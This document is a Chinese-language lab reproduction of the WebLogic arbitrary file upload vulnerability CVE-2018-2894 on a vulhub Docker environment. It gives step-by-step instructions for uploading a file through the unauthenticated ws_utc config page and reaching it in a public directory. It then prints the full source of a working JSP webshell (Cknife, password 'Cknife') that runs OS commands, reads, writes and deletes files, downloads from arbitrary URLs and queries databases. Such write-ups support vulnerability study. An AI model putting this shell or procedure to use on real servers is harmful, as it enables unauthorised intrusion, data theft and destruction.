Weblogic任意文件上传漏洞（CVE-2018-2894）复现

Weblogic任意文件上传漏洞（CVE-2018-2894）复现

漏洞背景

WebLogic管理端未授权的两个页面存在任意上传getshell漏洞，可直接获取权限。两个页面分别为/ws_utc/begin.do，/ws_utc/config.do。

影响范围

Oracle WebLogic Server，版本10.3.6.0，12.1.3.0，12.2.1.2，12.2.1.3。

漏洞详情
http://www.oracle.com/technetwork/security-advisory/cpujul2018-4258247.html#AppendixFMW

漏洞环境

• 执行如下命令，启动weblogic 12.2.1.3：

# cd vulhub/weblogic/CVE-2018-2894/ # docker-compose build # docker-compose up -d 

• 环境启动后，访问http://your-ip:7001/console，即可看到后台登录页面。

• 执行docker-compose logs | grep password可查看管理员密码，管理员用户名为weblogic。

[root@localhost CVE-2018-2894]# docker-compose logs | grep password weblogic_1 | ----> 'weblogic' admin password: eVs2ngYd weblogic_1 | admin password : [eVs2ngYd] weblogic_1 | * password assigned to an admin-level user. For * [root@localhost CVE-2018-2894]# 

用户名weblogic，密码eVs2ngYd

• 登录后台页面，点击base_domain的配置，在“高级”中开启“启用 Web 服务测试页”选项：

• 最后保存配置

漏洞复现

• 访问http://your-ip:7001/ws_utc/config.do，设置Work Home Dir为/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css。我将目录设置为ws_utc应用的静态文件css目录，访问这个目录是无需权限的，这一点很重要。

• 然后点击安全 -> 增加，然后上传webshell：

或者不用抓包，直接上传后审查元素，查看时间戳

• 刷新可看到的确上传成功

• 然后访问http://your-ip:7001/ws_utc/css/config/keystore/[时间戳]_[文件名]，即可执行webshell

• OK，菜刀连接

• 附上一句话吗shell.jsp，连接密码Cknife

<%@page import="java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*"%> <%! String Pwd = "Cknife"; String cs = "UTF-8"; String EC(String s) throws Exception { return new String(s.getBytes("ISO-8859-1"),cs); } Connection GC(String s) throws Exception { String[] x = s.trim().split("choraheiheihei"); Class.forName(x[0].trim()); if(x[1].indexOf("jdbc:oracle")!=-1){ return DriverManager.getConnection(x[1].trim()+":"+x[4],x[2].equalsIgnoreCase("[/null]")?"":x[2],x[3].equalsIgnoreCase("[/null]")?"":x[3]); }else{ Connection c = DriverManager.getConnection(x[1].trim(),x[2].equalsIgnoreCase("[/null]")?"":x[2],x[3].equalsIgnoreCase("[/null]")?"":x[3]); if (x.length > 4) { c.setCatalog(x[4]); } return c; } } void AA(StringBuffer sb) throws Exception { File k = new File(""); File r[] = k.listRoots(); for (int i = 0; i < r.length; i++) { sb.append(r[i].toString().substring(0, 2)); } } void BB(String s, StringBuffer sb) throws Exception { File oF = new File(s), l[] = oF.listFiles(); String sT, sQ, sF = ""; java.util.Date dt; SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); for (int i = 0; i < l.length; i++) { dt = new java.util.Date(l[i].lastModified()); sT = fm.format(dt); sQ = l[i].canRead() ? "R" : ""; sQ += l[i].canWrite() ? " W" : ""; if (l[i].isDirectory()) { sb.append(l[i].getName() + "/\t" + sT + "\t" + l[i].length()+ "\t" + sQ + "\n"); } else { sF+=l[i].getName() + "\t" + sT + "\t" + l[i].length() + "\t"+ sQ + "\n"; } } sb.append(sF); } void EE(String s) throws Exception { File f = new File(s); if (f.isDirectory()) { File x[] = f.listFiles(); for (int k = 0; k < x.length; k++) { if (!x[k].delete()) { EE(x[k].getPath()); } } } f.delete(); } void FF(String s, HttpServletResponse r) throws Exception { int n; byte[] b = new byte[512]; r.reset(); ServletOutputStream os = r.getOutputStream(); BufferedInputStream is = new BufferedInputStream(new FileInputStream(s)); os.write(("->" + "|").getBytes(), 0, 3); while ((n = is.read(b, 0, 512)) != -1) { os.write(b, 0, n); } os.write(("|" + "<-").getBytes(), 0, 3); os.close(); is.close(); } void GG(String s, String d) throws Exception { String h = "0123456789ABCDEF"; File f = new File(s); f.createNewFile(); FileOutputStream os = new FileOutputStream(f); for (int i = 0; i < d.length(); i += 2) { os.write((h.indexOf(d.charAt(i)) << 4 | h.indexOf(d.charAt(i + 1)))); } os.close(); } void HH(String s, String d) throws Exception { File sf = new File(s), df = new File(d); if (sf.isDirectory()) { if (!df.exists()) { df.mkdir(); } File z[] = sf.listFiles(); for (int j = 0; j < z.length; j++) { HH(s + "/" + z[j].getName(), d + "/" + z[j].getName()); } } else { FileInputStream is = new FileInputStream(sf); FileOutputStream os = new FileOutputStream(df); int n; byte[] b = new byte[512]; while ((n = is.read(b, 0, 512)) != -1) { os.write(b, 0, n); } is.close(); os.close(); } } void II(String s, String d) throws Exception { File sf = new File(s), df = new File(d); sf.renameTo(df); } void JJ(String s) throws Exception { File f = new File(s); f.mkdir(); } void KK(String s, String t) throws Exception { File f = new File(s); SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); java.util.Date dt = fm.parse(t); f.setLastModified(dt.getTime()); } void LL(String s, String d) throws Exception { URL u = new URL(s); int n = 0; FileOutputStream os = new FileOutputStream(d); HttpURLConnection h = (HttpURLConnection) u.openConnection(); InputStream is = h.getInputStream(); byte[] b = new byte[512]; while ((n = is.read(b)) != -1) { os.write(b, 0, n); } os.close(); is.close(); h.disconnect(); } void MM(InputStream is, StringBuffer sb) throws Exception { String l; BufferedReader br = new BufferedReader(new InputStreamReader(is)); while ((l = br.readLine()) != null) { sb.append(l + "\r\n"); } } void NN(String s, StringBuffer sb) throws Exception { Connection c = GC(s); ResultSet r = s.indexOf("jdbc:oracle")!=-1?c.getMetaData().getSchemas():c.getMetaData().getCatalogs(); while (r.next()) { sb.append(r.getString(1) + "\t|\t\r\n"); } r.close(); c.close(); } void OO(String s, StringBuffer sb) throws Exception { Connection c = GC(s); String[] x = s.trim().split("choraheiheihei"); ResultSet r = c.getMetaData().getTables(null,s.indexOf("jdbc:oracle")!=-1?x.length>5?x[5]:x[4]:null, "%", new String[]{"TABLE"}); while (r.next()) { sb.append(r.getString("TABLE_NAME") + "\t|\t\r\n"); } r.close(); c.close(); } void PP(String s, StringBuffer sb) throws Exception { String[] x = s.trim().split("\r\n"); Connection c = GC(s); Statement m = c.createStatement(1005, 1007); ResultSet r = m.executeQuery("select * from " + x[x.length-1]); ResultSetMetaData d = r.getMetaData(); for (int i = 1; i <= d.getColumnCount(); i++) { sb.append(d.getColumnName(i) + " (" + d.getColumnTypeName(i)+ ")\t"); } r.close(); m.close(); c.close(); } void QQ(String cs, String s, String q, StringBuffer sb,String p) throws Exception { Connection c = GC(s); Statement m = c.createStatement(1005, 1008); BufferedWriter bw = null; try { ResultSet r = m.executeQuery(q.indexOf("--f:")!=-1?q.substring(0,q.indexOf("--f:")):q); ResultSetMetaData d = r.getMetaData(); int n = d.getColumnCount(); for (int i = 1; i <= n; i++) { sb.append(d.getColumnName(i) + "\t|\t"); } sb.append("\r\n"); if(q.indexOf("--f:")!=-1){ File file = new File(p); if(q.indexOf("-to:")==-1){ file.mkdir(); } bw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(q.indexOf("-to:")!=-1?p.trim():p+q.substring(q.indexOf("--f:") + 4,q.length()).trim()),true),cs)); } while (r.next()) { for (int i = 1; i <= n; i++) { if(q.indexOf("--f:")!=-1){ bw.write(r.getObject(i)+""+"\t"); bw.flush(); }else{ sb.append(r.getObject(i)+"" + "\t|\t"); } } if(bw!=null){bw.newLine();} sb.append("\r\n"); } r.close(); if(bw!=null){bw.close();} } catch (Exception e) { sb.append("Result\t|\t\r\n"); try { m.executeUpdate(q); sb.append("Execute Successfully!\t|\t\r\n"); } catch (Exception ee) { sb.append(ee.toString() + "\t|\t\r\n"); } } m.close(); c.close(); } %> <% //String Z = EC(request.getParameter(Pwd) + "", cs); cs = request.getParameter("code") != null ? request.getParameter("code")+ "":cs; request.setCharacterEncoding(cs); response.setContentType("text/html;charset=" + cs); StringBuffer sb = new StringBuffer(""); if (request.getParameter(Pwd) != null) { try { String Z = EC(request.getParameter("action") + ""); String z1 = EC(request.getParameter("z1") + ""); String z2 = EC(request.getParameter("z2") + ""); sb.append("->" + "|"); String s = request.getSession().getServletContext().getRealPath("/"); if (Z.equals("A")) { sb.append(s + "\t"); if (!s.substring(0, 1).equals("/")) { AA(sb); } } else if (Z.equals("B")) { BB(z1, sb); } else if (Z.equals("C")) { String l = ""; BufferedReader br = new BufferedReader(new InputStreamReader(new FileInputStream(new File(z1)))); while ((l = br.readLine()) != null) { sb.append(l + "\r\n"); } br.close(); } else if (Z.equals("D")) { BufferedWriter bw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(z1)))); bw.write(z2); bw.close(); sb.append("1"); } else if (Z.equals("E")) { EE(z1); sb.append("1"); } else if (Z.equals("F")) { FF(z1, response); } else if (Z.equals("G")) { GG(z1, z2); sb.append("1"); } else if (Z.equals("H")) { HH(z1, z2); sb.append("1"); } else if (Z.equals("I")) { II(z1, z2); sb.append("1"); } else if (Z.equals("J")) { JJ(z1); sb.append("1"); } else if (Z.equals("K")) { KK(z1, z2); sb.append("1"); } else if (Z.equals("L")) { LL(z1, z2); sb.append("1"); } else if (Z.equals("M")) { String[] c = { z1.substring(2), z1.substring(0, 2), z2 }; Process p = Runtime.getRuntime().exec(c); MM(p.getInputStream(), sb); MM(p.getErrorStream(), sb); } else if (Z.equals("N")) { NN(z1, sb); } else if (Z.equals("O")) { OO(z1, sb); } else if (Z.equals("P")) { PP(z1, sb); } else if (Z.equals("Q")) { QQ(cs, z1, z2, sb,z2.indexOf("-to:")!=-1?z2.substring(z2.indexOf("-to:")+4,z2.length()):s.replaceAll("\\\\", "/")+"images/"); } } catch (Exception e) { sb.append("ERROR" + ":// " + e.toString()); } sb.append("|" + "<-"); out.print(sb.toString()); } %> 

• 最后记得移除环境

[root@localhost CVE-2018-2894]# docker-compose down 

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